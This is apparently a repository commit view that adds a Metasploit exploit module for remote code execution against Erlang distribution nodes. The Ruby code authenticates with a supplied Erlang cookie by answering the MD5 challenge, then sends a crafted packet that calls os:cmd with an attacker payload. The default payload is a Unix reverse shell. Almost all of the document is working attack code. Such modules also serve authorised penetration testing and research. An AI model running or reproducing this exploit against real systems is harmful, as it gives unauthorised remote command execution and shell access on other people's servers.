erlang cookie rce exploit module
parent
d9e7efa7e2
commit
fcad3f0c8f
|
@ -0,0 +1,118 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'digest'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = GreatRanking
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Erlang Port Mapper Daemon Cookie RCE',
|
||||
'Description' => %q{
|
||||
The erlang port mapper daemon is used to coordinate distributed erlang instances.
|
||||
Should an attacker get the authentication cookie RCE is trivial. Usually, this
|
||||
cookie is named ".erlang.cookie" and varys on location.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Daniel Mende', # discovery / blog post
|
||||
'Milton Valencia (wetw0rk)', # metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'https://insinuator.net/2017/10/erlang-distribution-rce-and-a-cookie-bruteforcer/']
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'unix',
|
||||
'Privileged' => 'false',
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'PAYLOAD' => 'cmd/unix/reverse'
|
||||
},
|
||||
'Arch' => [ ARCH_CMD ],
|
||||
'Targets' => [[ 'Automatic Target', {} ]],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Oct 5, 2017',
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('COOKIE', [ true, 'Erlang cookie to login with']),
|
||||
Opt::RHOST(),
|
||||
Opt::RPORT(25672)
|
||||
])
|
||||
end
|
||||
|
||||
def generate_challenge_digest(challenge)
|
||||
challenge = challenge.unpack('H*')[0].to_i(16).to_s # chars -> 0xhexstr -> integer -> str
|
||||
|
||||
hash = Digest::MD5.new
|
||||
hash.update datastore['COOKIE']
|
||||
hash.update challenge
|
||||
|
||||
vprint_status("MD5 digest generated: #{hash.hexdigest}")
|
||||
return [hash.hexdigest].pack('H*')
|
||||
end
|
||||
|
||||
def exploit
|
||||
begin
|
||||
connect
|
||||
|
||||
our_node = "#{rand_text_alphanumeric(6)}@#{rand_text_alphanumeric(7)}"
|
||||
|
||||
# SEND_NAME: send initial identification of who "we" are
|
||||
send_name = "\x00\x15"
|
||||
send_name << "\x6e"
|
||||
send_name << "\x00\x05"
|
||||
send_name << "\x00\x03\x49\x9c"
|
||||
send_name << "#{our_node}"
|
||||
# SEND_CHALLENGE_REPLY: return generated digest and its own challenge
|
||||
send_challenge_reply = "\x00\x15"
|
||||
send_challenge_reply << "\x72"
|
||||
# SEND: send the message to the node
|
||||
send = "\x00\x00\x00"
|
||||
send << [(0x6c+payload.raw.length).to_s(16)].pack('H*')
|
||||
send << "\x70\x83\x68\x04\x61\x06\x67\x64\x00\x0e"
|
||||
send << "#{our_node}"
|
||||
send << "\x00\x00\x00\x03\x00\x00\x00\x00\x00\x64\x00\x00\x64"
|
||||
send << "\x00\x03\x72\x65\x78\x83\x68\x02\x67\x64\x00\x0e"
|
||||
send << "#{our_node}"
|
||||
send << "\x00\x00\x00\x03\x00\x00\x00\x00\x00\x68\x05\x64\x00\x04"
|
||||
send << "call"
|
||||
send << "\x64\x00\x02"
|
||||
send << "os"
|
||||
send << "\x64\x00\x03"
|
||||
send << "cmd"
|
||||
send << "\x6c\x00\x00\x00\x01\x6b\x00"
|
||||
send << [(payload.raw.length).to_s(16)].pack('H*')
|
||||
send << payload.raw
|
||||
send << "\x6a\x64\x00\x04\x75\x73"
|
||||
send << "\x65\x72"
|
||||
|
||||
sock.put(send_name)
|
||||
|
||||
# recieve servers "SEND_CHALLENGE" token (4 bytes)
|
||||
print_status("Receiving server challenge")
|
||||
challenge = sock.get
|
||||
challenge = challenge[14,4]
|
||||
|
||||
send_challenge_reply << challenge
|
||||
send_challenge_reply << generate_challenge_digest(challenge)
|
||||
|
||||
print_status("Sending challenge reply")
|
||||
sock.put(send_challenge_reply)
|
||||
sock.get
|
||||
|
||||
print_status("Challenge sent, sending payload")
|
||||
sock.put(send)
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue